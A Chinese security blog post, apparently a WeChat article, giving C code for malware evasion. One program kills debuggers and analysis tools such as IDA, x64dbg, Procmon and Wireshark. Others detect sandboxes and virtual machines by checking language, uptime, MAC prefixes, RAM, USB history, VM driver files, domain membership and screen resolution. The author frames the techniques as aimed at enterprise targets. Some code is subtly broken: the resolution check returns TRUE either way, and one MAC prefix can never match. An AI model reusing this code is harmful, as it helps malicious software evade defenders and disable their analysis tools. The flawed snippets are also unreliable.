    #include <stdio.h>      // 标准输入输出库,提供输入输出函数,如 printf 和 scanf。
    #include <Windows.h>    // Windows API 头文件,提供大多数 Windows 操作系统功能的访问,如窗口管理和进程控制。
    #include <tlhelp32.h>   // 提供工具帮助函数,允许对系统快照进行操作,如进程和线程枚举。

    // 检测并终止特定名称的进程
    BOOL TerminateDebuggingProcess(WCHAR* procname) {
        BOOL processTerminated = FALSE;  // 初始化标志,用于跟踪是否成功终止了任何进程。

        // 创建一个进程快照,用于枚举当前系统中的所有进程。
        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == INVALID_HANDLE_VALUE) {
            printf("[!] 创建进程快照错误: %lu\n", GetLastError());  // 输出错误信息。
            return TRUE;  // 返回 TRUE 表示未能成功创建快照。
        }

        PROCESSENTRY32 pe;  // 定义 PROCESSENTRY32 结构来存储进程信息。
        pe.dwSize = sizeof(PROCESSENTRY32);  // 设置结构大小。
        BOOL res = Process32First(hSnapshot, &pe);  // 获取第一个进程的信息。

        while (res) {  // 遍历所有进程。
            if (!wcscmp(pe.szExeFile, procname)) {  // 比较进程名称。
                printf("[+] 找到进程 %ls 正在运行,PID: %u\n", procname, pe.th32ProcessID);  // 输出找到的进程信息。

                HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);  // 尝试打开进程。
                if (hProcess) {
                    if (TerminateProcess(hProcess, 0)) {  // 尝试终止进程。
                        printf("\t[+] 成功终止进程 %ls\n", procname);  // 输出成功信息。
                        processTerminated = TRUE;  // 更新标志为 TRUE。
                    }
                    else {
                        printf("[!] 终止进程 %ls 失败: %lu\n", procname, GetLastError());  // 输出失败信息。
                    }
                    CloseHandle(hProcess);  // 关闭进程句柄。
                }
                else {
                    printf("[!] 打开进程 %ls 句柄失败: %lu\n", procname, GetLastError());  // 输出打开句柄失败的信息。
                }
            }
            res = Process32Next(hSnapshot, &pe);  // 获取下一个进程的信息。
        }

        CloseHandle(hSnapshot);  // 关闭快照句柄。
        return processTerminated;  // 返回是否成功终止过任何进程。
    }

    int main() {
        // 定义一个二维数组,包含需要检测和终止的进程名称。
        WCHAR t[][18] = {
            { 'x','6','4','d','b','g','.','e','x','e','\0' }, // x64dbg
            { 'i','d','a','.','e','x','e','\0' },             // IDA
            { 'i','d','a','6','4','.','e','x','e','\0' },     // IDA 64-bit
            { 'p','e','s','t','u','d','i','o','.','e','x','e','\0' }, // PEStudio
            { 'P','r','o','c','e','s','s','H','a','c','k','e','r','.','e','x','e','\0' }, // Process Hacker
            { 'P','r','o','c','m','o','n','.','e','x','e','\0' }, // Procmon
            { 'P','r','o','c','m','o','n','6','4','.','e','x','e','\0'}, // Procmon 64-bit
            { 'p','r','o','c','e','x','p','.','e','x','e','\0' }, // Process Explorer
            { 'p','r','o','c','e','x','p','6','4','.','e','x','e','\0' }, // Process Explorer 64-bit
            { 'w','i','r','e','s','h','a','r','k','.','e','x','e','\0' } // Wireshark
        };

        int numElements = sizeof(t) / sizeof(t[0]);  // 计算数组中进程名称的数量。
        BOOL anyFailure = FALSE;  // 初始化标志,用于跟踪是否有任何进程终止失败。

        for (int i = 0; i < numElements; i++) {  // 遍历每个进程名称。
            if (!TerminateDebuggingProcess(t[i])) {  // 尝试终止指定名称的进程。
                anyFailure = TRUE;  // 如果终止失败,更新标志。
            }
        }

        if (anyFailure) {  // 如果有任何终止失败的进程。
            printf("\n某些进程终止失败\n");  // 输出失败信息。
        }

        return 0;  // 返回 0 表示程序执行完毕。
    }
    image-20241107081636166

    常规手段

    检查语言

    #include <Windows.h>
    #include <stdio.h>

    // 检查系统的用户界面语言是否是非中文
    bool checkLan() {
        // 获取当前用户默认的UI语言标识符
        LANGID langId = GetUserDefaultUILanguage();

        // 检查语言ID的主要语言部分是否为中文
        if (PRIMARYLANGID(langId) == LANG_CHINESE) {
            return false; // 如果是中文,返回false
        }
        else {
            return true;  // 如果不是中文,返回true
        }
    }

    int main() {
        // 调用 checkLan 函数并根据返回值输出对应信息
        if (checkLan()) {
            printf("The system's UI language is not Chinese.\n");
        }
        else {
            printf("The system's UI language is Chinese.\n");
        }

        return 0;
    }

    检查用户名

    // 检查当前用户是否名为 "admin"
    bool checkAdminUser() {
        wchar_t userName[UNLEN + 1];
        DWORD userNameSize = UNLEN + 1;

        // 获取当前计算机用户名
        if (GetUserNameW(userName, &userNameSize)) {
            wprintf(L"Current User: %s\n", userName);

            // 检查用户名是否为"admin"
            if (wcscmp(userName, L"admin") == 0) {
                return false; // 用户名是 "admin"
            }
            else {
                return true;  // 用户名不是 "admin"
            }
        }
        else {
            wprintf(L"Error getting user name. Error code: %d\n", GetLastError());
            return false; // 如果无法获取用户名,返回 false
        }
    }

    int main() {
        if (checkAdminUser()) {
            printf("The current user is not 'admin'.\n");
        }
        else {
            printf("The current user is 'admin'.\n");
        }

        return 0;
    }

    检查开机时间

    #include <Windows.h>
    #include <stdio.h>

    // 检查系统的开机时间是否少于10分钟
    bool checkStartTime() {
        // 获取系统自启动以来的运行时间(毫秒)
        ULONG uptime = GetTickCount();

        // 检查运行时间是否少于10分钟(10分钟 = 10 * 60秒 = 600秒 = 600,000毫秒)
        if (uptime >= 10 * 60 * 1000) {
            return false; // 开机时间大于等于10分钟,返回 false
        } else {
            return true;  // 开机时间少于10分钟,返回 true
        }
    }

    int main() {
        // 调用 checkStartTime 函数并根据返回值输出对应信息
        if (checkStartTime()) {
            printf("The system has been up for less than 10 minutes.\n");
        } else {
            printf("The system has been up for 10 minutes or more.\n");
        }

        return 0;
    }

    检查MAC地址

    #include <Windows.h>
    #include <string>

    // 使用#pragma comment指令链接Netapi32.lib库
    #pragma comment(lib, "Netapi32.lib")
    using namespace std;

    // 定义适配器状态结构和名称缓冲区结构
    typedef struct _ASTAT_ {
        ADAPTER_STATUS adapt;
        NAME_BUFFER NameBuff[30];
    } ASTAT, * PASTAT;

    // 获取MAC地址的前三个字节并存储为字符串
    void get_3part_mac(string& mac) {
        NCB Ncb;
        ASTAT Adapter;
        UCHAR uRetCode;
        LANA_ENUM lenum;
        memset(&Ncb, 0, sizeof(Ncb));
        Ncb.ncb_command = NCBENUM;
        Ncb.ncb_buffer = (UCHAR*)&lenum;
        Ncb.ncb_length = sizeof(lenum);
        uRetCode = Netbios(&Ncb);

        if (uRetCode != NRC_GOODRET) {
            printf("Netbios枚举调用失败,错误代码: %d\n", uRetCode);
            return;
        }

        for (int i = 0; i < lenum.length; i++) {
            memset(&Ncb, 0, sizeof(Ncb));
            Ncb.ncb_command = NCBRESET;
            Ncb.ncb_lana_num = lenum.lana[i];
            uRetCode = Netbios(&Ncb);

            if (uRetCode != NRC_GOODRET) {
                printf("Netbios重置调用失败,错误代码: %d\n", uRetCode);
                continue;
            }

            memset(&Ncb, 0, sizeof(Ncb));
            Ncb.ncb_command = NCBASTAT;
            Ncb.ncb_lana_num = lenum.lana[i];
            strcpy_s((char*)Ncb.ncb_callname, sizeof(Ncb.ncb_callname), "*");
            Ncb.ncb_buffer = (unsigned char*)&Adapter;
            Ncb.ncb_length = sizeof(Adapter);
            uRetCode = Netbios(&Ncb);

            if (uRetCode == NRC_GOODRET) {
                char tmp[128];
                sprintf_s(tmp, sizeof(tmp), "%02x-%02x-%02x",
                    Adapter.adapt.adapter_address[0],
                    Adapter.adapt.adapter_address[1],
                    Adapter.adapt.adapter_address[2]
                );
                mac = tmp;
                return;
            }
            else {
                printf("Netbios状态调用失败,错误代码: %d\n", uRetCode);
            }
        }
    }

    // 检查是否在虚拟机环境中运行
    BOOL CheckMacAddress() {
        string mac;
        get_3part_mac(mac);

        if (mac == "00-05-69" || mac == "00-0c-29" || mac == "00:1C:14" || mac == "00-50-56" ||
            mac == "00-03-ff" || mac == "08-00-27") {
            return TRUE;
        }
        else {
            return FALSE;
        }
    }

    int main() {
        if (CheckMacAddress()) {
            printf("检测到虚拟机或安全工具环境。\n");
        }
        else {
            printf("未检测到虚拟机或安全工具环境。\n");
        }
        return 0;
    }

    检查进程

    #include <stdio.h>
    #include <Windows.h>
    #include <TlHelp32.h>

    // 检查进程列表中是否存在特定进程
    BOOL CheckSpecificProcesses(WCHAR* procname) {
        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == INVALID_HANDLE_VALUE) {
            printf("[!] Error: Failed to create process snapshot: %ld\n", GetLastError());
            return FALSE;
        }

        PROCESSENTRY32 pe;
        pe.dwSize = sizeof(PROCESSENTRY32);
        BOOL res = Process32First(hSnapshot, &pe);

        while (res) {
            if (!wcscmp(pe.szExeFile, procname)) {
                printf("[+] Found process %ls is running,PID: %u\n", procname, pe.th32ProcessID);
                CloseHandle(hSnapshot);
                return TRUE;
            }
            res = Process32Next(hSnapshot, &pe);
        }

        CloseHandle(hSnapshot);
        return FALSE;  // 未找到进程,返回 FALSE
    }
    int main() {
        // 定义一个二维数组,包含需要检测和终止的进程名称。
        WCHAR t[][18] = {
            { 'v','m','w','a','r','e','.','e','x','e','\0' }, // vmware.exe
            { 'v','m','t','o','o','l','s','d','.','e','x','e','\0' },             // Vmtoolsd.exe
            { 'v','m','w','a','r','e','t','r','a','t','.','e','x','e','\0'},     // Vmwaretrat.exe
            { 'v','m','w','a','r','e','u','s','e','r','.','e','x','e','\0' }, // Vmwareuser.exe
            { 'v','b','o','x','s','e','r','v','i','c','e','.','e','x','e','\0' }, // vboxservice.exe
            { 'v','b','o','x','t','r','a','y','.','e','x','e','\0'}, // vboxtray.exe
            { 'v','m','a','c','t','h','l','p','.','e','x','e','\0'}, // Vmacthlp.exe  
        };

        int numElements = sizeof(t) / sizeof(t[0]);

        for (int i = 0; i < numElements; i++) {
            if (CheckSpecificProcesses(t[i])) {
                // 可以在这里添加找到了进程后的处理逻辑
            }
        }

        return 0;
    }

    检查CPU

    可以使用GetSystemInfo进行CPU 检查。此函数返回⼀个SYSTEM_INFO结构,其中包含有关系统的信息,包括处理器数量.

    #include <stdio.h>
    #include <Windows.h>


    BOOL CheckCPU() {
        // 初始化 SYSTEM_INFO 结构体,用于存储系统信息
        SYSTEM_INFO SysInfo = { 0 };
        // 调用 Windows API 获取系统信息并存储在 SysInfo 中
        GetSystemInfo(&SysInfo);

        // 打印处理器核心数量
        printf("Number of processors: %u\n", SysInfo.dwNumberOfProcessors);

        // 检查处理器核心数量是否小于 2
        if (SysInfo.dwNumberOfProcessors < 2) {
            printf("Warning: System is using less than 2 processors.\n");
            return TRUE; // 可能是虚拟化环境,返回 TRUE
        }

        return FALSE; // 处理器核心数量正常,返回 FALSE
    }

    int main() {
        // 检查系统的处理器核心数量
        if (CheckCPU()) {
            printf("The system is potentially running in a virtualized environment.\n");
        }
        else {
            printf("The system is likely running on physical hardware.\n");
        }
        return 0;
    }

    检查RAM

    #include <stdio.h>
    #include <Windows.h>

    BOOL CheckRAM() {
        MEMORYSTATUSEX MemStatus;
        MemStatus.dwLength = sizeof(MEMORYSTATUSEX);

        // 调用 Windows API 函数 GlobalMemoryStatusEx 获取系统内存使用情况
        if (!GlobalMemoryStatusEx(&MemStatus)) {
            printf("\n\t[!] GlobalMemoryStatusEx Failed With Error: %d \n", GetLastError());
            return FALSE; // 获取内存信息失败,返回 FALSE
        }

        // 打印总物理内存的大小
        printf("Total Physical Memory: %llu bytes\n", MemStatus.ullTotalPhys);

        // 检查总物理内存是否小于或等于 2GB
        if (MemStatus.ullTotalPhys <= (2ULL * 1073741824ULL)) { // 2 * 1024^3 = 2GB
            printf("Warning: System has 2GB or less of RAM.\n");
            return TRUE; // 可能是虚拟化环境,返回 TRUE
        }

        return FALSE; // 内存大小正常,返回 FALSE
    }

    int main() {
        // 检查系统的内存大小
        if (CheckRAM()) {
            printf("The system is potentially running in a virtualized environment.\n");
        }
        else {
            printf("The system likely has sufficient physical RAM.\n");
        }

        return 0;
    }

    检查USB

    #include <stdio.h>
    #include <Windows.h>

    BOOL CheckUSB() {
        HKEY hKey = NULL;          // 用于存储打开的注册表项句柄
        DWORD dwUsbNumber = 0;     // 用于存储 USB 设备数量
        DWORD dwRegErr = 0;        // 用于存储注册表操作的错误代码

        // 打开注册表项以获取 USB 存储设备的枚举信息
        dwRegErr = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Enum\\USBSTOR", 0, KEY_READ, &hKey);
        if (dwRegErr != ERROR_SUCCESS) {
            printf("\n\t[!] RegOpenKeyExA Failed With Error: %d | 0x%0.8X \n", dwRegErr, dwRegErr);
            return FALSE; // 打开注册表项失败时返回 FALSE
        }

        // 查询注册表项的子项数量,即 USB 存储设备的数量
        dwRegErr = RegQueryInfoKeyA(hKey, NULL, NULL, NULL, &dwUsbNumber, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
        if (dwRegErr != ERROR_SUCCESS) {
            printf("\n\t[!] RegQueryInfoKeyA Failed With Error: %d | 0x%0.8X \n", dwRegErr, dwRegErr);
            RegCloseKey(hKey); // 确保在失败时关闭注册表项句柄
            return FALSE;      // 查询失败时返回 FALSE
        }

        // 打印检测到的 USB 数量
        printf("Number of USB devices previously mounted: %u\n", dwUsbNumber);

        // 如果之前挂载的 USB 设备少于 2 个,则可能是虚拟化环境
        if (dwUsbNumber < 2) {
            printf("Warning: Less than 2 USB devices previously mounted.\n");
            RegCloseKey(hKey); // 关闭注册表项句柄
            return TRUE;       // 返回 TRUE 表示可能是虚拟化环境
        }

        RegCloseKey(hKey); // 关闭注册表项句柄
        return FALSE;      // 返回 FALSE 表示正常环境
    }

    int main() {
        // 检查系统的 USB 设备数量
        if (CheckUSB()) {
            printf("The system is potentially running in a virtualized environment.\n");
        }
        else {
            printf("The system has a normal number of USB devices.\n");
        }

        return 0;
    }

    检查文件名

    沙箱通常会将文件重命名为⼀种分类方法(例如,将其重命名为其 MD5 哈希)。此过程通常会导致一个包含字母和数字混合的任意文件名.

    如果文件名中包含的数字超过 3 个,则ExeDigitsInNameCheck将假定它位于沙箱中并返回 TRUE

    #include <stdio.h>
    #include <Windows.h>
    #include <shlwapi.h> // 包含 PathFindFileNameA 函数的头文件
    #include <ctype.h>   // 包含 isdigit 函数的头文件

    #pragma comment(lib, "Shlwapi.lib") // 链接 Shlwapi 库

    BOOL ExeDigitsInNameCheck() {
        CHAR Path[MAX_PATH * 3];  // 用于存储完整路径的缓冲区
        CHAR cName[MAX_PATH];     // 用于存储文件名的缓冲区
        DWORD dwNumberOfDigits = 0; // 用于计数文件名中的数字个数

        // 获取当前模块(可执行文件)的完整路径
        if (!GetModuleFileNameA(NULL, Path, MAX_PATH * 3)) {
            printf("\n\t[!] GetModuleFileNameA Failed With Error : %d \n", GetLastError());
            return FALSE; // 获取失败,返回 FALSE
        }

        // 获取文件名(从完整路径中提取)
        LPCSTR fileName = PathFindFileNameA(Path);
        printf("文件名为:%s\n", fileName);
        // 防止缓冲区溢出,确保文件名长度在 MAX_PATH 之内
        if (lstrlenA(fileName) < MAX_PATH) {
            lstrcpyA(cName, fileName); // 将文件名复制到 cName 缓冲区中
        }
        else {
            return FALSE; // 文件名过长,返回 FALSE
        }

        // 遍历文件名中的每个字符,统计数字的个数
        for (int i = 0; i < lstrlenA(cName); i++) {
            if (isdigit(cName[i])) {
                dwNumberOfDigits++; // 如果是数字,计数器加一
            }
        }

        // 如果文件名中的数字个数超过 3,则返回 TRUE
        if (dwNumberOfDigits > 3) {
            return TRUE;
        }

        return FALSE; // 否则返回 FALSE
    }

    int main() {
        // 检查当前可执行文件名中的数字个数
        if (ExeDigitsInNameCheck()) {
            printf("Filename contains more than 3 digits.\n");
        }
        else {
            printf("Filename contains 3 or fewer digits.\n");
        }
        return 0;
    }

    检查DLLS

    #include <stdio.h>
    #include <Windows.h>
    #include <io.h>

    // 检测是否存在指定的沙箱相关的 DLL
    bool checkSandboxDlls() {
        // 定义已知的与沙箱相关的 DLL 名称列表
        const wchar_t* dllNames[] = {
            L"C:\\windows\\System32\\Drivers\\Vmmouse.sys",
            L"C:\\windows\\System32\\Drivers\\vmtray.dll",
            L"C:\\windows\\System32\\Drivers\\VMToolsHook.dll",
            L"C:\\windows\\System32\\Drivers\\vmmousever.dll",
            L"C:\\windows\\System32\\Drivers\\vmhgfs.dll",
            L"C:\\windows\\System32\\Drivers\\vmGuestLib.dll",
            L"C:\\windows\\System32\\Drivers\\VBoxMouse.sys",
            L"C:\\windows\\System32\\Drivers\\VBoxGuest.sys",
            L"C:\\windows\\System32\\Drivers\\VBoxSF.sys",
            L"C:\\windows\\System32\\Drivers\\VBoxVideo.sys",
            L"C:\\windows\\System32\\vboxdisp.dll",
            L"C:\\windows\\System32\\vboxhook.dll",
            L"C:\\windows\\System32\\vboxoglerrorspu.dll",
            L"C:\\windows\\System32\\vboxoglpassthroughspu.dll",
            L"C:\\windows\\System32\\vboxservice.exe",
            L"C:\\windows\\System32\\vboxtray.exe",
            L"C:\\windows\\System32\\VBoxControl.exe",
            L"C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe",
            L"C:\\Program Files\\Common Files\\VMware\\Drivers\\mouse\\Win8\\vmmousever.dll"
        };

        int numElements = sizeof(dllNames) / sizeof(dllNames[0]);

        for (int i = 0; i < numElements; i++) {
            if (_waccess(dllNames[i], 0) == 0) {
                wprintf(L"Detected sandbox-related DLL: %s\n", dllNames[i]);
                return true;
            }
        }
        return false;
    }

    int main() {
        if (checkSandboxDlls()) {
            printf("Sandbox environment detected.\n");
        }
        else {
            printf("No sandbox environment detected.\n");
        }
        return 0;
    }

    检查域环境

    由于我们通常针对企业环境,因此可以假设用户的计算机是域的成员。让我们检查机器的域加入状态:

    #include <stdio.h>
    #include <Windows.h>
    #include <lm.h>

    #pragma comment(lib, "Netapi32.lib")

    BOOL checkDomain() {
        PWSTR domainName = NULL;
        NETSETUP_JOIN_STATUS status;
        NET_API_STATUS nStatus;

        nStatus = NetGetJoinInformation(NULL, &domainName, &status);

        if (nStatus != NERR_Success) {
            printf("Failed to get join information. Error: %lu\n", nStatus);
            return FALSE;  // 返回FALSE,表示无法确定域状态
        }

        BOOL notInDomain = (status != NetSetupDomainName);

        if (notInDomain) {
            printf("The computer is not joined to a domain.\n");
        } else {
            wprintf(L"The computer is joined to the domain: %s\n", domainName);
        }

        if (domainName != NULL) {
            NetApiBufferFree(domainName);
        }

        return notInDomain;
    }

    int main() {
        if (checkDomain()) {
            printf("The computer is not in a domain.\n");
        } else {
            printf("The computer is in a domain.\n");
        }
        
        return 0;
    }

    检查屏幕分辨率

    虚拟化环境很少使用多个监视器(尤其是沙箱)。虚拟显示器也可能具有非典型的屏幕尺寸(特别是当安装到主机屏幕但不是全屏模式时-请注意带有栏和选项卡的管理程序窗口)。

    #include <windows.h>
    #include <stdio.h>

    // 如果没有定义 PROCESS_DPI_AWARENESS,则手动定义它
    #ifndef PROCESS_DPI_AWARENESS
    typedef enum {
        PROCESS_DPI_UNAWARE = 0,
        PROCESS_SYSTEM_DPI_AWARE = 1,
        PROCESS_PER_MONITOR_DPI_AWARE = 2
    } PROCESS_DPI_AWARENESS;
    #endif
    // 设置应用程序为 DPI 感知(兼容 Windows 8.1 及以下)
    void SetDpiAwareness() {
        // 在 Windows 8.1 及以上使用 SetProcessDpiAwareness
        HMODULE shcore = LoadLibraryA("Shcore.dll");
        if (shcore) {
            typedef HRESULT(WINAPI* SetProcessDpiAwarenessFunc)(PROCESS_DPI_AWARENESS);
            SetProcessDpiAwarenessFunc setDpiAwareness =
                (SetProcessDpiAwarenessFunc)GetProcAddress(shcore, "SetProcessDpiAwareness");

            if (setDpiAwareness) {
                setDpiAwareness((PROCESS_DPI_AWARENESS)PROCESS_PER_MONITOR_DPI_AWARE);
            }

            FreeLibrary(shcore);
        }
        else {
            // 在 Windows 8 及更早版本使用 SetProcessDPIAware
            HMODULE user32 = LoadLibraryA("user32.dll");
            if (user32) {
                typedef BOOL(WINAPI* SetProcessDPIAwareFunc)();
                SetProcessDPIAwareFunc setDPIAware =
                    (SetProcessDPIAwareFunc)GetProcAddress(user32, "SetProcessDPIAware");

                if (setDPIAware) {
                    setDPIAware();
                }

                FreeLibrary(user32);
            }
        }
    }

    BOOL CheckResolution() {
        SetDpiAwareness(); // 设置应用程序为 DPI 感知

        // 获取主显示器的水平和垂直分辨率
        int xResolution = GetSystemMetrics(SM_CXSCREEN);
        int yResolution = GetSystemMetrics(SM_CYSCREEN);

        // 检查显示器分辨率是否符合预期的典型值
        if ((xResolution != 1920 && xResolution != 2560 && xResolution != 1440 && xResolution != 3200 && xResolution != 3840)
            || (yResolution != 1080 && yResolution != 1200 && yResolution != 1600 && yResolution != 900 && yResolution != 1800 && yResolution != 2160))
        {
            printf("Unexpected resolution: %d x %d\n", xResolution, yResolution);
            return TRUE;
        }
        else {
            printf("Resolution is as expected: %d x %d\n", xResolution, yResolution);
            return TRUE;
        }

    }

    int main() {
        if (CheckResolution()) {
            printf("Sandbox environment detected.\n");
        }
        else {
            printf("No sandbox environment detected.\n");
        }
        return 0;
    }

    往期推荐






    网络安全资源大全介绍(24年10月4日版本)




    公开!完全免费而且好用的md5解密

    还在买别人的漏扫GUI?使用Yakit,免做老韭菜

    “免费培训”的那些事

    为什么建议大家都来做网安公众号?

    开源:快速代码审计辅助工具,助力0day挖掘

    ——The  End——

    记得点赞

    棉花糖fans
    原公众号棉花糖网络安全圈,更新网络安全相关内容,网络安全吧、渗透测试吧的吧主
     最新文章